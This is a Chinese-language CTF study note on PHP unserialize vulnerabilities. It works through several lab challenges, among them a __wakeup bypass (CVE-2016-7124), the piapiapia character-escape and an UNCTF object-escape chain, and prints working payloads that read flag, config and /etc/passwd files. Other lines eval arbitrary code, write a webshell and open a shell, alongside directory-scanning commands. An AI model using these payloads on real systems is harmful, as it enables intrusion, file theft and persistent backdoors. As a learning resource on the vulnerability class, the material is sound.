我们直接在页面复制,有些字符是复制不了的,所以对于一串序列化后的字符串,最好的办法就是先进行一次URL编码urlencode()
再传递(见题6),这样的话其中的不可打印字符也能够选中。或者按照上面的格式加上%00
或者%00*%00
,但是在没有其他编码(如Base64)的情况下,我还是建议通过PHP直接URL编码而不是自己手动复制修改后编码
PHP代码在线运行网站
https://tool.lu/coderunner/
https://www.dooccn.com/php/
PHP在线反序列化工具
https://1024tools.com/unserialize
http://www.gjw123.com/tools-phpserialize
这里也涉及一个类和函数的调用
地址 http://weuwesa20.lab.aqlab.cn/
<?php
error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
$ppp = unserialize($_GET["data"]);
?>
<!-- GET: ?source= --> 2021-11-17 12:05:59
先访问一下flag.php
,发现文件存在,那我们读取一下flag.php
,这里我们要通过PHP来序列化我们的代码
<?php
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = 'flag.php';
$this->b = "highlight_file";
}
}
$abc=new HelloPhp;
echo serialize($abc);
这道题中的反序列化也很有意思
https://buuoj.cn/challenges#[ZJCTF%202019]NiZhuanSiWei
解题思路见 伪协议利用之 file_get_contents()
__wakeup()
绕开强烈推荐 [漏洞利用] CVE-2016-7124 漏洞复现
目录结构
index.php
<meta charset="utf-8">
<?php
class SoFun{
protected $file = 'index.php';
public function __construct($file){ //new一个对象时可以传参赋值来给对象的file属性
$this->file=$file;
}
function __destruct(){
//查找file参数中是否存在'\\'和'/',存在就显示错误
if(!empty($this->file)){
if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false){
show_source(dirname(__FILE__).'/'.$this->file);
}else{
die('Wrong filename');
}
}
}
function __wakeup(){ //该方法在`__unserialize()`反序列化前执行,但是我们让file的值为flag.php,所以就要绕过这个魔术方法
$this->file='index.php';
}
public function __toString(){
return '';
}
}
if(!isset($_GET['file'])){
show_source('index.php');
}else{
$file=base64_decode($_GET['file']);
echo @unserialize($file);
}
将SoFun类
中的代码复制到PHP在线执行网站里,代码如下,然后创建对象,进行序列化,绕过反序列化时的__wakeup()
魔术方法,再进行base64编码
poc.php
<meta charset="utf-8">
<?php
class SoFun{
protected $file = 'index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
//查找file参数中是否存在'\\'和'/',存在就显示错误
if(!empty($this->file)){
if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false){
show_source(dirname(__FILE__).'/'.$this->file);
}else{
die('Wrong filename');
}
}
}
function __wakeup(){ //反序列化前执行
echo "执行了wakeup";
if ($this->file != 'index.php'){
$this->file = 'index.php';
}
}
public function __toString(){
return '';
}
}
if(!isset($_GET['file'])){
show_source('index.php');
}else{
$file=base64_decode($_GET['file']);
echo @unserialize($file);
}
$test = new SoFun('flag.php'); //创建对象
$test = serialize($test); //序列化
$test = str_replace(':1:', ':2:',$test); //绕过
# echo $test => O:5:"SoFun":2:{s:7:"*file";s:8:"flag.php";} 我们如果自己进行base64编码,是`Tzo1OiJTb0Z1biI6Mjp7czo3OiIqZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==`,不会成功反序列化
echo(base64_encode($test)); //通过PHP进行base64编码
?>
得到结果:
Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
通过file传参:
http://172.16.128.2/PHP/serialize/game1/index.php?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
__wakeup()
魔术方法:影响版本:PHP5 < 5.6.25 PHP7 < 7.0.10
该方法在__unserialize()
反序列化前执行
CVE-2016-7124:当序列化字符串中表示对象属性的个数的值大于真实的属性个数时会跳过__wakeup()
的执行
如:
对象序列化后的字符串(有些不可打印的字符是显示不出来的)
O:5:"SoFun":1:{s:7:"*file";s:8:"flag.php";}
构造绕过__wakeup():
O:5:"SoFun":2:{s:7:"*file";s:8:"flag.php";}
特别注意
得到的序列化后的字符可以像下面一样用PHP函数str_replace
去操作字符串,自己修改可能反序列化对象失败,因为属性是protected
类型的,序列化后格式和public
不一样。
$var = new Demo("fl4g.php"); //构建对象
$var = serialize($var); //序列化
$var = str_replace('O:4', 'O:+4',$var); //修改其中的字符,如果有preg_match('/[oc]:\d+:/i'
$var = str_replace(':1:', ':2:',$var); //替换其中的字符
echo(base64_encode($var));
自己修改要改成这样子,因为属性是private
,需要在类名前后添加%00
O:6:"sercet":2:{s:12:"%00sercet%00file";s:8:"flag.php";}
poc
<?php
class Flag{
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
//把public $file 换成 public "flag.php"
$test = new Flag();
echo serialize($test);
?>
或者
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$test = new Flag();
$test->file = "flag.php";
echo serialize($test);
?>
利用普通成员方法。除了利用magic function
外,当危险代码或漏洞位于类的普通方法中,就不能自动调用了,这时可以寻找相同的函数名,把敏感函数和类联系在一起。
<?php
class chybeta{
var $test;
function __construct(){
$this->test = new ph0en1x();
}
function __destruct(){
$this->test->action();
}
}
class ph0en1x{
function action(){
echo "ph0en1x";
}
}
class ph0en2x{
var $test2;
function action(){
eval($this->test2);
}
}
unserialize($_GET['test']);
//$class6 = new chybeta();
?>
new
了一个新的chybeta
对象后,调用__contruct()
,其中又new
了ph0en1x
对象。在结束后会调用__destruct()
,其中又会调用action()
,从而输出ph0en1x
。
POC
<?php
class chybeta{
var $test;
function __construct(){
$this->test = new ph0en2x();
}
}
class ph0en2x{
var $test2 = "phpinfo();";
}
echo serialize(new chybeta());
?>
=> O:7:"chybeta":1:{s:4:"test";O:7:"ph0en2x":1:{s:5:"test2";s:10:"phpinfo();";}}
相当于RCE远程代码执行,其中"phpinfo()"
可以换为
1.读文件
"var_dump(file_get_contents('c:/windows/system32/drivers/etc/hosts'));"
2.写shell
'var_dump(file_put_contents($_POST[1],$_POST[2]));'
//然后post数据 1=shell.php&2=<?=@eval($_REQUEST[miyi]);?>
3.直接获取shell
'@eval($_REQUEST[miyi]);'
//蚁剑连接提交test以后的链接
4.获得当前文件的绝对路径
'print(__FILE__);'
<?php
// class.php
$flag = "flg{miyi_h0use_cn}";
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
<?php
//index.php
include 'class.php';
$select = $_GET['select'];
$res=@unserialize($select);
# var_dump($res);
?>
POC1
$test =new Name('admin',100);
$test = serialize($test);
# echo $test."<hr />";
# $test1 = urlencode($test);
# echo $test1."<hr />"; //只有URL编码后才能正常的反序列化
$test = str_replace(':2:',':3:',$test);
# echo $test."<hr />";
$test = urlencode($test);
echo $test;
# 下面是所有结果,作为对比,最后一条是POC
=>
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
URL编码后,首先我们这边的浏览器会进行二次编码,服务器中的容器会进行一次解码,同时$_GET[]
也会进行一次解码。参考Web容器自动对HTTP请求中参数进行URLDecode处理
注意
$_GET
里的变量全都会自动进行urldecode。
$_POST
里的变量只有Content-Type: application/x-www-form-urlencoded
下会自动进行urldecode
所以当传入的序列化后的字符串反序列化失败时,可以尝试进行一次URL编码
poc2
自己修改,注意两个属性都是protected
,所以是在类名前后加%00
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
或者这个在线靶场 https://buuoj.cn/challenges#%5B0CTF%202016%5Dpiapiapia
dirsearch爆破出www.zip
python3 dirsearch.py -u http://172.16.128.1:8302/ -e *
python3 dirsearch.py -u http://172.16.128.1:8302/ -e zip,php
//添加延时参数提高扫描效率
python3 dirsearch.py -u http://172.16.128.1:8302/ -e* -s 1
也可以使用dirmap
python dirmap.py -i http://172.16.128.1:8302/ -lcf
目录结构
E:
│ index.php 首页
| register.php 注册
│ update.php 补充个人信息
│ profile.php 个人信息展示
│ class.php 提供user类和mysql类,类中有函数,包括判断、注册、登录、展示、更新、连接、选择、插入、过滤等函数
│ config.php 数据库连接配置
│
├─static
│ bootstrap.min.css
│ bootstrap.min.js
│ jquery.min.js
│ piapiapia.gif
│
└─upload
一开始接触这种文件夹形式的大量的文件会很头疼呢,无从下手。遇到这种一个文件夹的代码需要审计,先弄懂整个业务流程以及每个页面每个函数的作用。
index.php
<?php
require_once('class.php');
# 包含了class.php文件,其中class.php最后
/*
session_start(); session_start的作用是开启$_SESION,需要在$_SESION使用之前调用。PHP $_SESION 变量用于存储关于用户会话(session)的信息。
$user = new user(); 创建了user对象
$user->connect($config); 调用了user对象的connect方法
*/
if($_SESSION['username']) {
# 如果设置了PHPSESSION,就跳到展示信息的页面,否则停留在登录页面
header('Location: profile.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
# 登录
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
# 对输入的用户名进行过滤,用户名长度只能在[3,16]之间
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
# 对密码进行过滤,密码长度在[3,16]之间
die('Invalid password');
if($user->login($username, $password)) {
# 如果连接数据库成功,返回True
$_SESSION['username'] = $username;
# 将PHPSESSION的username属性设置为$username变量的值
header('Location: profile.php');
# 跳转到展示属性的页面
exit;
}
else {
# 如果数据库连接不成功,就终止
die('Invalid user name or password');
}
}
else {
?>
<html>登录的HTML页面</html>
<?php
}
?>
class.php
<?php
require('config.php');
# 包含配置文件
class user extends mysql{
# 继承mysql类,关于extends : https://www.php.cn/php-weizijiaocheng-371591.html
private $table = 'users';
# 设置 $table变量的值为'users'
public function is_exists($username) {
# 判断是否存在这个用户
$username = parent::filter($username);
# 调用父类中的fileter函数,过滤$username变量
$where = "username = '$username'";
return parent::select($this->table, $where);
# 在users表中查找有关$username的记录,查找成功返回True
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
# 分别过滤 $username和$password
$key_list = Array('username', 'password');
# 这是关键词数组
$value_list = Array($username, md5($password));
# 值数组
return parent::insert($this->table, $key_list, $value_list);
# 插入的是用户名和密码的md5值
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
# 登录照样过滤用户名和密码
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
# 查询用户名在数据库中存在,并且数据库中记录的密码的哈希值等于用户输入的md5值
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
# 过滤用户名
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
# $object是一个对象,返回对象的profile属性
}
public function update_profile($username, $new_profile) {
# 更新profile
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
# 连接数据库
$this->link = mysql_connect(
//关于mysql_connect() : https://www.w3school.com.cn/php/func_mysql_connect.asp ,连接成功返回True,连接失败返回false
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
# 选择数据库
mysql_query("SET sql_mode='strict_all_tables'");
# 关于sql模式 strict_all_tables :http://blog.itpub.net/26736162/viewspace-2149027/
return $this->link;
# 返回的是mysql_connect()的连接结果,True or False
}
public function select($table, $where, $ret = '*') {
# 查找
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
# 返回的是一个对象。关于mysql_fetch_object : https://dev.mysql.com/doc/apis-php/en/apis-php-function.mysql-fetch-object.html
}
public function insert($table, $key_list, $value_list) {
# 插入
$key = implode(',', $key_list);
# 字段名,前面加上`,`
$value = '\'' . implode('\',\'', $value_list) . '\'';
# 数据,整体前后加上`'`单引号,每个数据前面加上`','` 如: `'','values1','values2'`
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
# 更新数据
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
# 过滤
$escape = array('\'', '\\\\');
# 这个变量是数组,单引号和双反斜线 `'`和'\\'
$escape = '/' . implode('|', $escape) . '/';
# 这是设置PHP中正则的格式 /values1|values2/
$string = preg_replace($escape, '_', $string);
# 替换,将$string中包含$escape变量的字符替换为`_`
$safe = array('select', 'insert', 'update', 'delete', 'where');
# 同上
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
# 将$string中 'select', 'insert', 'update', 'delete', 'where' 等字段替换为'hacker'
}
public function __tostring() {
return __class__;
}
}
//下面的注释详见 index.php
session_start();
$user = new user();
$user->connect($config);
/*
MariaDB [challenges]> select * from users \G;
*************************** 1. row ***************************
username: miyi
password: 738b9803436ad1f11210f3ffde5f3ac4
profile: a:4:{s:5:"phone";s:11:"15536818056";s:5:"email";s:17:"1851259618@qq.com";s:8:"nickname";s:4:"miyi";s:5:"photo";s:39:"upload/d8fa1d7932652d93b0f6f9b8f54a462f";}
1 row in set (0.00 sec)
*/
config.php
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
//这里只是展示给我们一部分信息,提示我们在这个页面可以读到flag
profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
# 判断是否已经登录,如果没有登录的话,
die('Login First');
# die() 函数输出一条消息,并退出当前脚本。该函数是 exit() 函数的别名。
}
//如果用户已经登录
$username = $_SESSION['username'];
# 将$_SESSION中记录的用户名赋值给$username变量
$profile=$user->show_profile($username);
# 从数据库中查找$username的$profile属性的值
if($profile == null) {
# 如果这个人的$profile没有设置,就是null,就跳转到这个update页面
header('Location: update.php');
}
else {
# 如果用户已经补充完整了$profile
$profile = unserialize($profile);
# 反序列化这个$profile为一个对象
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
# $profile['photo']存放的是图片的路径,file_get_content()获取图片的内容,然后通过base64进行编码
?>
<html>用来展示profile的HTML界面</html>
<?php
}
?>
register.php
<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
//上面是接收参数并进行判断
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
<html>
注册页面的HTML
</html>
<?php
}
?>
update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
# 判断是否登录
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
# 检测电话号码是否是11个数字
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
# 过滤邮箱
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
# 用户名只能包含0-9大小写字母和下划线并且长度要小于10
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
# 限制上传文件的大小
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
# 将文件以原文件名的md5哈希重命名,移动到upload下
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
<html>
手机号码、邮箱、昵称、图片的输入界面
</html>
<?php
}
?>
理一理思路,首先需要到register.php页面注册,然后跳转到index.php界面登录,登陆后跳转到profile.php这个展示个人信息的页面,这时判断数据库中profile字段是否为NULL,为空则跳转到update.php进行电话号码等其他个人信息的录入。
然后想一想,我们的目的是什么?读取config.php
这个文件。如何读取?profile.php
页面在展示用户信息的时候,会通过file_get_contents()
函数读取$profile['photo']
中文件路径内容,我们可以通过这个函数读取config.php
文件的内容。那么就需要将$profile['photo']
字段的值设置为config.php
。这个值是在update.php
页面输入的,下面是该页面部分代码
//update.php
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
# 限制上传文件的大小
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
# 将文件以原文件名的md5哈希重命名,移动到upload下
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
# 通过后台数据库可以看到序列化后的字符串 a:4:{s:5:"phone";s:11:"15536818056";s:5:"email";s:17:"1851259618@qq.com";s:8:"nickname";s:4:"miyi";s:5:"photo";s:39:"upload/d8fa1d7932652d93b0f6f9b8f54a462f";},输入的文件名`$file[name]`会被改名为MD5值然后将相对路径赋值给`$profile['photo']`。我们如果想要这个字段是config.php的话,通过在页面选择文件上传然后抓包修改photo字段是不可能的,因为会变成上面的那种格式,这时我们就需要通过反序列化饶过
//class.php
public function update_profile($username, $new_profile) {
# 用户输入profile
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function filter($string) {
# 过滤
$escape = array('\'', '\\\\');
# 这个变量是数组,单引号和双反斜线 `'`和'\\'
$escape = '/' . implode('|', $escape) . '/';
# 这是设置PHP中正则的格式 /values1|values2/
$string = preg_replace($escape, '_', $string);
# 替换,将$string中包含$escape变量的字符替换为`_`
$safe = array('select', 'insert', 'update', 'delete', 'where');
# 同上
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
# 将$string中 'select', 'insert', 'update', 'delete', 'where' 等字段替换为'hacker'
}
浏览器显示$profile['photo']
所指向的文件是在proflie.php
页面,图片的路径会被base64
编码
//profile.php
$profile = unserialize($profile);
# 反序列化这个$profile为一个对象
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
# $profile['photo']存放的是图片的路径,file_get_content()获取图片的内容,然后通过base64进行编码
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
如果我们直接修改上传的文件名为config.php
,名字会被修改为MD5哈希,而我们需要的是file_get_content()函数的参数是config.php
而不是这一串哈希值。这里,我们就需要通过反序列化字符逃逸.
payload
nickname[] = wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
原理可以通过这篇文章学习,这里篇幅有限,就不说了。只说明一下为什么nickname的值前面要加上34个where。因为用户输入的profile被序列化后在update.php页面被fileter()函数过滤,所以nickname的34个where会转化成34个hacker,现在nickname的长度和原来序列化时nickename的长度相比,就多出了34个字符,反序列化的时候,这34个字符就会变成下一个属性的值,如果我们输入到nickname的值是34个where+";}s:5:"photo";s:10:"config.php";}
,后面那串字符的长度是34,这样的话,当hacker全部替换where后,后面那串字符就变成了下一个属性的键和值,就是photo记录的值是config.php。至于为什么前面加上}
而不是直接;s
,好像是因为nickname的值是一个数组,类似
["info"]=>array(1) {
["name"]=>
string(1) "a"
}
index.php
<?php
highlight_file(__FILE__);
class a{
var $test='hello';
function __destruct(){
$fp=fopen("./miyi.php","w");
print "===".$this->test;
fputs($fp,$this->test);
fclose($fp);
}
}
$class=stripslashes($_GET['re']);
print $class;
$class_unser=unserialize($class);
?>
poc.php
<?php
class a{
var $test='hello';
function __destruct(){
$fp=fopen("./miyi.php","w");
fputs($fp,$this->test);
fclose($fp);
}
}
$test = new a();
$test->test='<?=phpinfo()?>';
echo "1"; //这里就是看一下析构函数的执行时机
$test = serialize($test);
echo "2"."<br />";
echo $test."<br />"; //这道题由于var变量的权限是public,所以没有特殊字符,URL编码可有可无,但是'<?=phpinfo();?>'不会回显,所以还是得用url编码
echo urlencode($test);
?>
=>
1===2 //可以看到,析构函数是在serialize()之后触发的
O:1:"a":1:{s:4:"test";s:14:"";}
O%3A1%3A%22a%22%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A14%3A%22%3C%3F%3Dphpinfo%28%29%3F%3E%22%3B%7D
建议先看一遍讲解视频 【Lxxx】2021UNCTF easy_serialize | 反序列化 | 字符减少 | 对象逃逸
index.php
<?php
include "function.php";
$action = @$_POST['action'];
$name = $_POST['name']; //name=miyi
$pass = $_POST['pass']; //pass=1234
$email = $_POST['email']; //email=123@qq.com
$a= $_GET['a']; //a=QNKCDZO
$b = $_GET['b']; //b=QLTHNDT
switch($action){
# 显示function.php的源码
case 1:
highlight_file('function.php');
break;
default:
highlight_file('index.php');
}
function filter($file){
# 过滤字符
$filter_arr = array('flag','php','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$file);
}
$u = new UNCTF($pass,$email,$name);
$s = serialize($u);
# 序列化UNCTF对象
if(md5($a) == md5($b) && $a !=$b){
unserialize(filter($s));
# 过滤UNCTF序列化后的对象,然后翻序列化,这里就是先序列化,然后反序列化
}
?>
function.php
<meta charset="utf8">
<?php
highlight_file(__FILE__);
class me7eorite{
//test
public $safe;
public $class;
public function __construct()
# 构造函数
{
$this->safe = "/etc/passwd";
# 为safe属性赋值
$this->class=new UNCTF('me7eorite','me7eorite@qq.com','me7eorite');
# 这里class被赋值为UNCTF的一个对象
}
public function __toString()
{
$this->class->getShell();
# 调用me7eorite类中的getshell()方法
return '';
}
public function getShell(){
# 可以读文件
readfile($this->safe);
}
}
class UNCTF{
public $pass;
public $email;
public $name;
public function __construct($pass,$email,$name)
# 构造函数创建对象给属性赋值
{
$this->pass = $pass;
$this->name = $name;
$this->email = $email;
}
public function getShell(){
# 没用
echo 'flag{this_is_fake}';
}
public function __destruct()
# 析构函数,输出$name属性
{
echo $this->name . 'Welcome to UNCTF 2021!';
# 如果输出的不是字符串而是对象,那么就会调用类中的toString()函数
}
}
?>
poc.php
<meta charset="utf8">
<?php
highlight_file(__FILE__);
class me7eorite{
//test
public $safe;
public $class;
public function __construct()
# 构造函数
{
$this->safe = "/etc/passwd";
# 为safe属性赋值
$this->class= $this;
# 这种写法就是,新建一个自己类的对象赋值给class
}
public function __toString()
{
$this->class->getShell();
# 调用me7eorite类中的getshell()方法
return '';
}
public function getShell(){
# 可以读文件
readfile($this->safe);
}
}
$me = new me7eorite();
echo serialize($me)."<br />";
=> O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:1;}
# r是代表'对象引用' 参考 https://blog.csdn.net/leonzhang2008/article/details/5329143
class UNCTF{
public $pass;
public $email;
public $name;
public function __construct($pass,$email,$name)
# 构造函数创建对象给属性赋值
{
$this->pass = $pass;
$this->name = $name;
$this->email = $email;
}
public function __destruct()
# 析构函数,输出$name属性
{
echo $this->name . 'Welcome to UNCTF 2021!';
# 如果输出的不是字符串而是对象,那么就会调用类中的toString()函数。这里如果输出的是em7eorite这个类的对象,就会执行em这个类的toString,所以我们要让name的值是一个对象,如果直接将name的值改为`O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:1;}`,那么序列化以后类型是`s`,也就是字符串,这样序列化的时候操纵的是字符串而不是对象
}
}
$test = new UNCTF('aaa','bbb','ccc');
echo serialize($test);
=> O:5:"UNCTF":3:{s:4:"pass";s:3:"aaa";s:5:"email";s:3:"bbb";s:4:"name";s:3:"ccc";}cccWelcome to UNCTF 2021!
?>
综上,我们要做的,就是把s:4:"name";s:3:"ccc";
中后面的s
给吞掉,变成O
,长度变成新的长度。因此把值直接换成 me7eorite类的对象的序列化字符串,也就是
s:4:"name";
+O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:1;};
而题目中提供了将flag
和php
替换为空的过滤,因此将某个属性的值一些字符(假设是10个)换为空,反序列化的时候,从为空的最后一个字符串往后数10个,都是作为这个属性的值而不是被反序列化成对象的属性.
假设我们提交的是:
name=;s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:4;}
&email=flagflagflagphpphp
&pass=123
&action=
那么序列化后的值是:
O:5:"UNCTF":3:{s:4:"pass";N;s:5:"email";s:18:"flagflagflagphpphp";s:4:"name";s:78:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";S:5:"\66\6c\61\67";s:5:"class";r:4;}";}
其中flag
和php
这两个字段都会被过滤,一共18个字符
O:5:"UNCTF":3:{s:4:"pass";N;s:5:"email";s:18:"";s:4:"name";s:78:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";S:5:"\66\6c\61\67";s:5:"class";r:4;}";}
由于email的值的长度是18,所以后面的18个字符";s:4:"name";s:78:
就会变成email的值。这时,name原来值;s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:4;}
就变成了name新的值和属性,从而name的值就变成了一个obj对象
我们构造payload的时候就反着来,这是正常情况下,UNCTF对象序列化出的字符串
O:5:"UNCTF":3:{s:4:"pass";s:3:"aaa";s:5:"email";s:3:"bbb";s:4:"name";s:3:"ccc";}
其中这一段是17个字符";s:4:"name";s:3:
,考虑到我们要构造的name新的属性值长度为两位数,所以前面就要吞掉后面的18个字符,如果email
的值是flagflagflagphpphp
,经过filter()
过滤后变成空,这18个字符就成了email
的属性值,这样的话,后面我们就可以构造自己的序列化字符串了。下面字符串中,这段代码都是要被吞掉的";s:4:"name";s:78:
,后面剩下"xxxxxxxxx"
,其中第一个引号可以闭合email的前面的引号,这里两个引号是必须的。
O:5:"UNCTF":3:{s:4:"pass";s:3:"aaa";s:5:"email";s:18:"flagflagflagphpphp";s:4:"name";s:78:"xxxxxxxx"}
所以我们自己构造的name属性和值(s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:1;}
),值就是要触发toString()
的em7orite对象的序列化字符串,就会放在xxxxx这里,而前面需要加上一个分号隔开email的值
O:5:"UNCTF":3:{s:4:"pass";s:3:"aaa";s:5:"email";s:18:"flagflagflagphpphp";s:4:"name";s:78:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:1;}}
那么我们实际要输入的name的值就是;s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:1;}
r
代表对象引用,意思就是属性名class
的值是一个对象。后面的数字就是所引用的对象在序列化串中第一次出现的位置,但是这个位置不是指字符的位置,而是指对象(这里的对象是泛指所有类型的量,而不仅限于对象类 型)的位置。首先序列化的是ClassUNCTF的一个对象,给它编号1,接下来序列化的是这个对象的第一个成员pass
,编号为2,然后是这个对象的第三个成员email
,编号为3,然后就是第四个成员name
,name是一个obj成员,值是一个对象。
(在me7eorite对象中,class也是一个obj成员,在序列化的字符串中,被序列化成r:1
,但是放在ClassUNCTF对象的序列化的字符串中,却是name属性的值,而name属性的编号是4,所以就要修改为4。。我也不太懂)
O:5:"UNCTF":3:{s:4:"pass";s:3:"aaa";s:5:"email";s:18:"flagflagflagphpphp";s:4:"name";s:3:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:4;}}
所以我们提交的时候参数如下:
name=;s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:4;}
&email=flagflagflagphpphp
&pass=123
&action=
查看flag的时候发现不显示,可能是flag是黑名单,可以将其前面的s
修改为大写S
,然后进行16进制ASCII编码,可以通过通过Hackbar
的Hexencode
进行,将/flag
编码出来是2f666c6167
,然后在每个字母的16进制ascii编码前加上反斜线转义\
,然后前面的个数也要改为5
,无论怎么编码,/flag
还是5个字符。即
name=;s:4:"name";O:9:"me7eorite":2:{s:4:"safe";S:5:"\2f\66\6c\61\67";s:5:"class";r:4;}
&email=flagflagflagphpphp
&pass=123
&action=
还是建议看看视频,笔记的不是很清楚
这种十六进制前加反斜线的写法,\2f\66\6c\61\67
,网上只找到这一段记录
